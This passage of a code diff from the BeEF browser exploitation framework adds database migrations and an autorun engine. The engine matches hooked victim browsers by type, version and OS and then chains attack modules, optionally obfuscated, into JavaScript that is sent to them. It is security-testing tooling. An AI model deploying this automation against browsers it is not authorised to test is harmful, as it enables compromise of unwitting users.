+		create_table :rtc_status do |t|
+            t.references :hooked_browser
+            t.integer :target_hooked_browser_id
+            t.text :status
+		end
+
+	end
+
+end

core/main/ar-migrations/017_create_rtc_manage.rb

@@ -0,0 +1,13 @@
+class CreateRtcManage < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rtc_manage do |t|
+            t.references :hooked_browser
+            t.text :message
+            t.text :has_sent, default: "waiting"
+		end
+
+	end
+
+end

core/main/ar-migrations/018_create_rtc_signal.rb

@@ -0,0 +1,14 @@
+class CreateRtcSignal < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rtc_signal do |t|
+            t.references :hooked_browser
+            t.integer :target_hooked_browser_id
+            t.text :signal
+            t.text :has_sent, default: "waiting"
+		end
+
+	end
+
+end

core/main/ar-migrations/019_create_rtc_module_status.rb

@@ -0,0 +1,14 @@
+class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rtc_module_status do |t|
+            t.references :hooked_browser
+            t.references :command_module
+            t.integer :target_hooked_browser_id
+            t.text :status
+		end
+
+	end
+
+end

core/main/ar-migrations/020_create_xssrays_detail.rb

@@ -0,0 +1,14 @@
+class CreateXssraysDetail < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :xssrays_detail do |t|
+            t.references :hooked_browser
+            t.text :vector_name
+            t.text :vector_method
+            t.text :vector_poc
+		end
+
+	end
+
+end

core/main/ar-migrations/021_create_dns_rule.rb

@@ -0,0 +1,14 @@
+class CreateDnsRule < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :dns_rule do |t|
+          t.text :pattern
+          t.text :resource
+          t.text :response
+          t.text :callback
+		end
+
+	end
+
+end

core/main/ar-migrations/022_create_ipec_exploit.rb

@@ -0,0 +1,13 @@
+class CreateIpecExploit < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :ipec_exploit do |t|
+            t.text :name
+            t.text :protocol
+            t.text :os
+		end
+
+	end
+
+end

core/main/ar-migrations/023_create_ipec_exploit_run.rb

@@ -0,0 +1,13 @@
+class CreateIpecExploitRun < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :ipec_exploit_run do |t|
+            t.boolean :launched
+            t.text :http_headers
+            t.text :junk_size
+		end
+
+	end
+
+end

core/main/ar-migrations/024_create_autoloader.rb

@@ -0,0 +1,12 @@
+class CreateAutoloader < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :autoloader do |t|
+            t.references :command
+            t.boolean :in_use
+		end
+
+	end
+
+end

core/main/ar-migrations/025_create_xssrays_scan.rb

@@ -0,0 +1,18 @@
+class CreateXssraysScan < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :xssrays_scan do |t|
+            t.references :hooked_browser
+            t.datetime :scan_start
+            t.datetime :scan_finish
+            t.text :domain
+            t.text :cross_domain
+            t.integer :clean_timeout
+            t.boolean :is_started
+            t.boolean :is_finished
+		end
+
+	end
+
+end

core/main/autorun_engine/engine.rb

@@ -0,0 +1,499 @@
+#
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+  module Core
+    module AutorunEngine
+
+      class Engine
+
+        include Singleton
+
+        def initialize
+          @config = BeEF::Core::Configuration.instance
+
+          @result_poll_interval = @config.get('beef.autorun.result_poll_interval')
+          @result_poll_timeout = @config.get('beef.autorun.result_poll_timeout')
+          @continue_after_timeout = @config.get('beef.autorun.continue_after_timeout')
+
+          @debug_on = @config.get('beef.debug')
+
+          @VERSION = ['<','<=','==','>=','>','ALL']
+          @VERSION_STR = ['XP','Vista']
+        end
+
+        # Check if the hooked browser type/version and OS type/version match any Rule-sets
+        # stored in the BeEF::Core::AutorunEngine::Models::Rule database table
+        # If one or more Rule-sets do match, trigger the module chain specified
+        def run(hb_id, browser_name, browser_version, os_name, os_version)
+          are = BeEF::Core::AutorunEngine::Engine.instance
+          match_rules = are.match(browser_name, browser_version, os_name, os_version)
+          are.trigger(match_rules, hb_id) if match_rules !=nil && match_rules.length > 0
+        end
+
+        # Prepare and return the JavaScript of the modules to be sent.
+        # It also updates the rules ARE execution table with timings
+        def trigger(rule_ids, hb_id)
+
+          hb = BeEF::HBManager.get_by_id(hb_id)
+          hb_session = hb.session
+
+          rule_ids.each do |rule_id|
+            rule = BeEF::Core::Models::Rule.find(rule_id)
+            modules = JSON.parse(rule.modules)
+
+            execution_order = JSON.parse(rule.execution_order)
+            execution_delay = JSON.parse(rule.execution_delay)
+            chain_mode  = rule.chain_mode
+
+            mods_bodies = Array.new
+            mods_codes = Array.new
+            mods_conditions = Array.new
+
+            # this ensures that if both rule A and rule B call the same module in sequential mode,
+            # execution will be correct preventing wrapper functions to be called with equal names.
+            rule_token = SecureRandom.hex(5)
+
+            modules.each do |cmd_mod|
+              mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
+              options = []
+              replace_input = false
+              cmd_mod['options'].each do|k,v|
+                options.push({'name' => k, 'value' => v})
+                replace_input = true if v == '<<mod_input>>'
+              end
+
+              command_body = prepare_command(mod, options, hb_id, replace_input, rule_token)
+
+
+              mods_bodies.push(command_body)
+              mods_codes.push(cmd_mod['code'])
+              mods_conditions.push(cmd_mod['condition'])
+            end
+
+            # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
+            case chain_mode
+              when 'nested-forward'
+                wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
+              when 'sequential'
+                wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
+              else
+                wrapper = nil
+                print_error "Chain mode looks wrong!"
+                # TODO catch error, which should never happen as values are checked way before ;-)
+            end
+
+            are_exec = BeEF::Core::Models::Execution.new(
+                :session => hb_session,
+                :mod_count => modules.length,
+                :mod_successful => 0,
+                :rule_token => rule_token,
+                :mod_body => wrapper,
+                :is_sent => false,
+                :rule_id => rule_id
+            )
+            are_exec.save!
+            # Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
+            print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
+          end
+        end
+
+
+        # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
+        # Launch order is also taken care of.
+        #  - sequential chain with delays (setTimeout stuff)
+        #    ex.: setTimeout(module_one(),   0);
+        #         setTimeout(module_two(),   2000);
+        #         setTimeout(module_three(), 3000);
+        # Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring
+        #  what their status will be (for instance, a bunch of XSRFs on a set of targets)
+        def prepare_sequential_wrapper(mods, order, delay, rule_token)
+          wrapper = ''
+          delayed_exec = ''
+          c = 0
+          while c < mods.length
+            delayed_exec += %Q| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
+            mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
+            wrapped_mod = "#{mod_body}\n"
+            wrapper += wrapped_mod
+            c += 1
+          end
+          wrapper += delayed_exec
+          print_more "Final Modules Wrapper:\n #{wrapper}" if @debug_on
+          wrapper
+        end
+
+        # Wraps module bodies in their own function, then start to execute them from the first, polling for
+        # command execution status/results (with configurable polling interval and timeout).
+        # Launch order is also taken care of.
+        #  - nested forward chain with status checks (setInterval to wait for command to return from async operations)
+        #    ex.:  module_one()
+        #           if condition
+        #             module_two(module_one_output)
+        #               if condition
+        #                  module_three(module_two_output)
+        #
+        # Note: command result status is checked, and you can properly chain input into output, having also
+        # the flexibility of slightly mangling it to adapt to module needs.
+        # Note: Useful in situations where you want to launch 2 modules, where the second one will execute only
+        #     if the first once return with success. Also, the second module has the possibility of mangling first
+        #     module output and use it as input for some of its module inputs.
+        def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token)
+          wrapper, delayed_exec = '',''
+          delayed_exec_footers = Array.new
+          c = 0
+
+          while c < mods.length
+            if mods.length == 1
+              i = c
+            else
+              i = c + 1
+            end
+
+            code_snippet = ''
+            mod_input = ''
+            if code[c] != 'null' && code[c] != ''
+              code_snippet = code[c]
+              mod_input = 'mod_input'
+            end
+
+            conditions[i] = true if conditions[i] == nil || conditions[i] == ''
+
+            if c == 0
+              # this is the first wrapper to prepare
+              delayed_exec += %Q|
+                function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
+                  #{mods[order[c]][:mod_name]}_#{rule_token}();
+
+                  // TODO add timeout to prevent infinite loops
+                  function isResReady(mod_result, start){
+                    if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
+                       // loop
+                    }else{
+                       // module return status/data is now available
+                       clearInterval(resultReady);
+                          if (mod_result === null && #{@continue_after_timeout}){
+                              var mod_result = [];
+                              mod_result[0] = 1; //unknown status
+                              mod_result[1] = '' //empty result
+                          }
+                          var status = mod_result[0];
+                       if(#{conditions[i]}){
+                         #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true;
+                         #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
+              |
+
+              delayed_exec_footer = %Q|
+                     }
+                    }
+                  }
+                  var start = (new Date()).getTime();
+                  var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval});
+                }
+                #{mods[order[c]][:mod_name]}_#{rule_token}_f();
+              |
+
+              delayed_exec_footers.push(delayed_exec_footer)
+
+            elsif c < mods.length - 1
+              code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
+
+              # this is one of the wrappers in the middle of the chain
+              delayed_exec += %Q|
+                function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
+                  if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
+                     #{code_snippet}
+                     #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input});
+                     function isResReady(mod_result, start){
+                        if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
+                           // loop
+                        }else{
+                           // module return status/data is now available
+                         clearInterval(resultReady);
+                          if (mod_result === null && #{@continue_after_timeout}){
+                              var mod_result = [];
+                              mod_result[0] = 1; //unknown status
+                              mod_result[1] = '' //empty result
+                          }
+                          var status = mod_result[0];
+                          if(#{conditions[i]}){
+                             #{mods[order[i]][:mod_name]}_#{rule_token}_can_exec = true;
+                             #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
+              |
+
+              delayed_exec_footer = %Q|
+                         }
+                       }
+                     }
+                     var start = (new Date()).getTime();
+                     var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output, start);},#{@result_poll_interval});
+                  }
+                }
+                #{mods[order[c]][:mod_name]}_#{rule_token}_f();
+              |
+
+              delayed_exec_footers.push(delayed_exec_footer)
+            else
+              code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}")
+              # this is the last wrapper to prepare
+              delayed_exec += %Q|
+                function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
+                  if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
+                     #{code_snippet}
+                     #{mods[order[c]][:mod_name]}_#{rule_token}(#{mod_input});
+                  }
+                }
+                #{mods[order[c]][:mod_name]}_#{rule_token}_f();
+              |
+            end
+            mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
+            wrapped_mod = "#{mod_body}\n"
+            wrapper += wrapped_mod
+            c += 1
+          end
+          wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n")
+          print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on
+          wrapper
+        end
+
+
+        # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
+        # and store it in the database.
+        # Returns the raw module body after template substitution.
+        def prepare_command(mod, options, hb_id, replace_input, rule_token)
+          config = BeEF::Core::Configuration.instance
+          begin
+            command = BeEF::Core::Models::Command.new(
+                :data => options.to_json,
+                :hooked_browser_id => hb_id,
+                :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
+                :creationdate => Time.new.to_i,
+                :instructions_sent => true
+            )
+            command.save!
+
+            command_module = BeEF::Core::Models::CommandModule.find(mod.id)
+            if (command_module.path.match(/^Dynamic/))
+              # metasploit and similar integrations
+              command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
+            else
+              # normal modules always here
+              key = BeEF::Module.get_key_by_database_id(mod.id)
+              command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
+            end
+
+            hb = BeEF::HBManager.get_by_id(hb_id)
+            hb_session = hb.session
+            command_module.command_id = command.id
+            command_module.session_id = hb_session
+            command_module.build_datastore(command.data)
+            command_module.pre_send
+
+            build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
+
+            if config.get("beef.extension.evasion.enable")
+              evasion = BeEF::Extension::Evasion::Evasion.instance
+              command_body = evasion.obfuscate(command_module.output) + "\n\n"
+            else
+              command_body = command_module.output  + "\n\n"
+            end
+
+            # @note prints the event to the console
+            print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
+
+            replace_input ? mod_input = 'mod_input' : mod_input = ''
+            result = %Q|
+                var #{mod.name}_#{rule_token} = function(#{mod_input}){
+                    #{clean_command_body(command_body, replace_input)}
+                };
+                var #{mod.name}_#{rule_token}_can_exec = false;
+                var #{mod.name}_#{rule_token}_mod_output = null;
+            |
+
+            return {:mod_name => mod.name, :mod_body => result}
+          rescue =>  e
+            print_error e.message
+            print_debug e.backtrace.join("\n")
+          end
+        end
+
+        # Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than
+        # using the default behavior of adding the module to an array and execute it at polling time.
+        #
+        # Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
+        def clean_command_body(command_body, replace_input)
+          begin
+            cmd_body = command_body.lines.map(&:chomp)
+            wrapper_start_index,wrapper_end_index = nil
+
+            cmd_body.each_with_index do |line, index|
+              if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
+                wrapper_start_index = index
+                break
+              end
+            end
+            if wrapper_start_index.nil?
+              print_error "[ARE] Could not find module start index"
+            end
+
+            cmd_body.reverse.each_with_index do |line, index|
+              if line.include?('});')
+                wrapper_end_index = index
+                break
+              end
+            end
+            if wrapper_end_index.nil?
+              print_error "[ARE] Could not find module end index"
+            end
+
+            cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index+1)).join("\n")
+            if cleaned_cmd_body.eql?('')
+              print_error "[ARE] No command to send"
+            end
+
+            # check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
+            if replace_input
+              if cleaned_cmd_body.include?('"<<mod_input>>"')
+                final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
+              elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
+                final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
+              elsif cleaned_cmd_body.include?('<<mod_input>>')
+                final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
+              else
+                return cleaned_cmd_body
+              end
+              return final_cmd_body
+            else
+              return cleaned_cmd_body
+            end
+          rescue =>  e
+            print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body"
+          end
+        end
+
+
+        # Checks if there are any ARE rules to be triggered for the specified hooked browser
+        #
+        # Note: browser version checks are supporting only major versions, ex: C 43, IE 11
+        # Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
+        #
+        # Returns an array with rule IDs that matched and should be triggered.
+        # if rule_id is specified, checks will be executed only against the specified rule (useful
+        #  for dynamic triggering of new rulesets ar runtime)
+        def match(browser, browser_version, os, os_version, rule_id=nil)
+          match_rules = []
+          if rule_id != nil
+            rules = [BeEF::Core::Models::Rule.find(rule_id)]
+          else
+            rules = BeEF::Core::Models::Rule.all
+          end
+          return nil if rules == nil
+          return nil unless rules.length > 0
+
+          print_info "[ARE] Checking if any defined rules should be triggered on target."
+          # TODO handle cases where there are multiple ARE rules for the same hooked browser.
+          # TODO the above works well, but maybe rules need to have priority or something?
+          rules.each do |rule|
+            begin
+              browser_match, os_match = false, false
+
+              b_ver_cond = rule.browser_version.split(' ').first
+              b_ver = rule.browser_version.split(' ').last
+
+              os_ver_rule_cond = rule.os_version.split(' ').first
+              os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
+              os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
+
+              # Most of the times Linux/*BSD OS doesn't return any version
+              # (TODO: improve OS detection on these operating systems)
+              if os_version != nil && !@VERSION_STR.include?(os_version)
+                os_ver_hook_maj = os_version.split('.').first
+                os_ver_hook_min = os_version.split('.').last
+
+                # the following assignments to 0 are need for later checks like:
+                # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
+                os_ver_hook_min = 0 if os_version.split('.').length == 1
+                os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
+              else
+                # most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
+                # to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
+                # we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
+                  os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
+                  os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
+              end
+
+              os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
+              os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista'
+
+              next unless @VERSION.include?(b_ver_cond)
+              next unless BeEF::Filters::is_valid_browserversion?(b_ver)
+
+              next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
+              # os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
+
+              # skip rule unless the browser matches
+              browser_match = false
+              # check if rule specifies multiple browsers
+              if rule.browser !~ /\A[A-Z]+\Z/
+                rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
+                  browser_match = true if b == browser || b == 'ALL'
+                end
+              # else, only one browser
+              else
+                next unless rule.browser == 'ALL' || browser == rule.browser
+                # check if the browser version matches
+                browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
+                if browser_version_match
+                  browser_match = true
+                else
+                  browser_match = false
+                end
+                print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
+              end
+              next unless browser_match
+
+              # skip rule unless the OS matches
+              next unless rule.os == 'ALL' || os == rule.os
+
+              # check if the OS versions match
+              if os_version != nil || rule.os_version != 'ALL'
+                os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
+                os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
+              else
+                # os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
+                os_major_version_match, os_minor_version_match = true, true
+              end
+
+              os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
+              print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
+
+              if browser_match && os_match
+                print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
+                match_rules.push(rule.id)
+              end
+            rescue =>  e
+              print_error e.message
+              print_debug e.backtrace.join("\n")
+            end
+          end
+          print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
+
+          return match_rules
+        end
+
+        # compare versions
+        def compare_versions(ver_a, cond, ver_b)
+          return true if cond == 'ALL'
+          return true if cond == '==' && ver_a == ver_b
+          return true if cond == '<=' && ver_a <= ver_b
+          return true if cond == '<'  && ver_a <  ver_b
+          return true if cond == '>=' && ver_a >= ver_b
+          return true if cond == '>'  && ver_a >  ver_b
+          return false
+        end
+      end
+    end
+  end
+end

core/main/autorun_engine/parser.rb

@@ -0,0 +1,91 @@
+#
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+  module Core
+    module AutorunEngine
+
+      class Parser
+
+        include Singleton
+
+        def initialize
+          @config = BeEF::Core::Configuration.instance
+        end
+
+        BROWSER = ['FF','C','IE','S','O','ALL']
+        OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
+        VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
+        CHAIN_MODE = ['sequential','nested-forward']
+        MAX_VER_LEN = 15
+        # Parse a JSON ARE file and returns an Hash with the value mappings
+        def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
+          begin
+            success = [true]
+
+            return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
+            return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
+            return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
+            # if multiple browsers were specified, check each browser
+            if browser.kind_of?(Array)
+              browser.each do |b|
+                return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
+              end
+            # else, if only one browser was specified, check browser and browser version
+            else
+              return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
+              if browser_version != 'ALL'
+                return [false, 'Illegal browser_version definition'] unless
+                  VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) &&
+                      BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN
+              end
+            end
+
+            if os_version != 'ALL'
+              return [false, 'Illegal os_version definition'] unless
+                  VERSION.include?(os_version[0,2].gsub(/\s+/,'')) &&
+                      BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN
+            end
+
+            return [false, 'Illegal os definition'] unless OS.include?(os)
+
+            # check if module names, conditions and options are ok
+            modules.each do |cmd_mod|
+              mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
+              if mod != nil
+                modk = BeEF::Module.get_key_by_database_id(mod.id)
+                mod_options = BeEF::Module.get_options(modk)
+
+                opt_count = 0
+                mod_options.each do |opt|
+                   if opt['name'] == cmd_mod['options'].keys[opt_count]
+                     opt_count += 1
+                   else
+                     return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
+                                             }) for module (#{cmd_mod['name']}) does not exist"]
+                   end
+                end
+              else
+                return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
+              end
+            end
+
+            exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
+            exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
+
+            return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
+                modules.size == exec_order.size && modules.size == exec_delay.size
+
+            success
+          rescue => e
+            print_error "#{e.message}"
+            print_debug "#{e.backtrace.join("\n")}"
+            return [false, 'Something went wrong.']
+          end
+        end
+      end
+    end
+  end
+end

core/main/autorun_engine/rule_loader.rb

@@ -0,0 +1,98 @@
+#
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+  module Core
+    module AutorunEngine
+
+      class RuleLoader
+
+        include Singleton
+
+        def initialize
+          @config = BeEF::Core::Configuration.instance
+          @debug_on = @config.get('beef.debug')
+        end
+
+        # this expects parsed JSON as input
+        def load(data)
+          begin
+
+            name = data['name']
+            author = data['author']
+            browser = data['browser']||'ALL'
+            browser_version = data['browser_version']||'ALL'
+            os = data['os']||'ALL'
+            os_version = data['os_version']||'ALL'
+            modules = data['modules']
+            exec_order = data['execution_order']
+            exec_delay = data['execution_delay']
+            chain_mode = data['chain_mode']
+
+            parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
+                name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
+
+            if parser_result.length == 1 && parser_result.first
+              print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
+              if @debug_on
+                print_more "Target Browser: #{browser} (#{browser_version})"
+                print_more "Target OS: #{os} (#{os_version})"
+                print_more "Modules to Trigger:"
+                         modules.each do |mod|
+                            print_more "(*) Name: #{mod['name']}"
+                            print_more "(*) Condition: #{mod['condition']}"
+                            print_more "(*) Code: #{mod['code']}"
+                            print_more "(*) Options:"
+                            mod['options'].each do |key,value|
+                              print_more "\t#{key}: (#{value})"
+                            end
+                         end
+                print_more "Exec order: #{exec_order}"
+                print_more "Exec delay: #{exec_delay}"
+              end
+              are_rule = BeEF::Core::Models::Rule.new(
+                  :name => name,
+                  :author => author,
+                  :browser => browser,
+                  :browser_version => browser_version,
+                  :os => os,
+                  :os_version => os_version,
+                  :modules => modules.to_json,
+                  :execution_order => exec_order,
+                  :execution_delay => exec_delay,
+                  :chain_mode => chain_mode)
+              are_rule.save
+              return { 'success' => true, 'rule_id' => are_rule.id}
+            else
+              print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
+              return { 'success' => false, 'error' => parser_result.last }
+            end
+
+          rescue => e
+            err = 'Malformed JSON ruleset.'
+            print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
+            return { 'success' => false, 'error' => err }
+          end
+        end
+
+        def load_file(json_rule_path)
+          begin
+            rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
+            self.load JSON.parse(rule_file)
+          rescue => e
+            print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
+          end
+        end
+
+        def load_directory
+          Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
+            print_debug "[ARE] Processing rule: #{rule}"
+            self.load_file rule
+          end
+        end
+      end
+    end
+  end
+end

core/main/client/are.js

@@ -1,47 +1,18 @@
 //
-// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
 
 beef.are = {
-  init:function(){
-   var Jools = require('jools');
-   this.ruleEngine = new Jools();
+  status_success: function(){
+    return 1;
   },
-  send:function(module){
-    // there will probably be some other stuff here before things are finished
-    this.commands.push(module);
+  status_unknown: function(){
+    return 0;
   },
-  execute:function(inputs){
-    this.rulesEngine.execute(input);
-  },
-  cache_modules:function(modules){},
-  rules:[
-    {
-      'name':"exec_no_input",
-      'condition':function(command,browser){
-          //need to figure out how to handle the inputs
-          return (!command['inputs'] || command['inputs'].length == 0)
-       },
-      'consequence':function(command,browser){}
-    },
-    {
-      'name':"module_has_sibling",
-      'condition':function(command,commands){
-        return false;
-      },
-      'consequence':function(command,commands){}
-    },
-    {
-      'name':"module_depends_on_module",
-      'condition':function(command,commands){
-        return false;
-      },
-      'consequence':function(command,commands){}
-    }
-  ],
-  commands:[],
-  results:[]
+  status_error: function(){
+    return -1;
+  }
 };
 beef.regCmp("beef.are");

core/main/client/beef.js

@@ -1,5 +1,5 @@
 //
-// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 // Browser Exploitation Framework (BeEF) - http://beefproject.com
 // See the file 'doc/COPYING' for copying permission
 //
@@ -12,66 +12,72 @@
 $j = jQuery.noConflict();
 
 if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
-	
-	var BeefJS = {
-		
-		version: '<%= @beef_version %>',
-		
-		// This get set to true during window.onload(). It's a useful hack when messing with document.write().
-		pageIsLoaded: false,
-		
-		// An array containing functions to be executed by the window.onpopstate() method.
-		onpopstate: new Array(),
-		
-		// An array containing functions to be executed by the window.onclose() method.
-		onclose: new Array(),
-		
-		// An array containing functions to be executed by Beef.
-		commands: new Array(),
-		
-		// An array containing all the BeEF JS components.
-		components: new Array(),
 
-                /**
-                 * Adds a function to display debug messages (wraps console.log())
-                 * @param: {string} the debug string to return
-                 */
-                debug: function(msg) {
-                    if (!<%= @client_debug %>) return;
-                    if (typeof console == "object" && typeof console.log == "function") {
-                        console.log(msg);
-                    } else {
-                        // TODO: maybe add a callback to BeEF server for debugging purposes
-                        //window.alert(msg);
-                    }
-                },
+    var BeefJS = {
 
-		/**
-		 * Adds a function to execute.
-		 * @param: {Function} the function to execute.
-		 */
-		execute: function(fn) {
-            if ( typeof  beef.websocket == "undefined"){
-                 this.commands.push(fn);
-            }else{
-                fn();
+        version: '<%= @beef_version %>',
+
+        // This get set to true during window.onload(). It's a useful hack when messing with document.write().
+        pageIsLoaded: false,
+
+        // An array containing functions to be executed by the window.onpopstate() method.
+        onpopstate: new Array(),
+
+        // An array containing functions to be executed by the window.onclose() method.
+        onclose: new Array(),
+
+        // An array containing functions to be executed by Beef.
+        commands: new Array(),
+
+        // An array containing all the BeEF JS components.
+        components: new Array(),
+
+        /**
+         * Adds a function to display debug messages (wraps console.log())
+         * @param: {string} the debug string to return
+         */
+        debug: function(msg) {
+            if (!<%= @client_debug %>) return;
+            if (typeof console == "object" && typeof console.log == "function") {
+                var currentdate = new Date();
+                var pad = function(n){return ("0" + n).slice(-2);}
+                var datetime = currentdate.getFullYear() + "-"
